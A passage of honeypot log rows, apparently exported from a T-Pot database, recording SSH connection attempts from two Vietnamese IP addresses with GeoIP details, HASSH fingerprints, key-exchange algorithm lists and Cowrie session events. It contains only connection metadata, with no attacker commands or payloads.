26185	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:44.804546+03	2021-09-20 14:15:12.941646+03	{"_id": "GgbnAnwBvYTbRNuEmyBr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.804546", "@timestamp": "2021-09-20T11:11:44.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26186	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:45.009833+03	2021-09-20 14:15:12.943645+03	{"_id": "HAbnAnwBvYTbRNuEmyBr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59938, "dest_port": 22, "timestamp": "2021-09-20T11:11:45.009833", "@timestamp": "2021-09-20T11:11:45.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26187	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:44.712138+03	2021-09-20 14:15:12.944646+03	{"_id": "HQbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59938 (192.168.176.2:22) [session: 212532671301]", "session": "212532671301", "@version": "1", "protocol": "ssh", "src_port": 59938, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.712138Z", "@timestamp": "2021-09-20T11:11:44.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26188	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:44.715016+03	2021-09-20 14:15:12.946646+03	{"_id": "KQbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "212532671301", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:44.715016Z", "@timestamp": "2021-09-20T11:11:44.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26189	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:44.805339+03	2021-09-20 14:15:12.947645+03	{"_id": "KgbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b7fdd28058b6", "@version": "1", "timestamp": "2021-09-20T11:11:44.805339Z", "@timestamp": "2021-09-20T11:11:44.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26190	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:45.010591+03	2021-09-20 14:15:12.948645+03	{"_id": "KwbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "212532671301", "@version": "1", "timestamp": "2021-09-20T11:11:45.010591Z", "@timestamp": "2021-09-20T11:11:45.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26191	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:45.363187+03	2021-09-20 14:15:12.950645+03	{"_id": "LAbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "78ce23a5e910", "@version": "1", "duration": 6.999427556991577, "timestamp": "2021-09-20T11:11:45.363187Z", "@timestamp": "2021-09-20T11:11:45.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26194	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:45.651808+03	2021-09-20 14:15:12.955644+03	{"_id": "MgbnAnwBvYTbRNuEnyBU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46516, "timestamp": "2021-09-20T11:11:45.651808", "@timestamp": "2021-09-20T11:11:45.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26195	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:46.743605+03	2021-09-20 14:15:12.956645+03	{"_id": "YQbnAnwBvYTbRNuEoiAZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1299403372680315, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60394, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.743605Z", "@timestamp": "2021-09-20T11:11:46.743Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26196	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:47.003554+03	2021-09-20 14:15:12.957647+03	{"_id": "YgbnAnwBvYTbRNuEoiAZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1309545937949881, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59288, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.003554Z", "@timestamp": "2021-09-20T11:11:47.003Z", 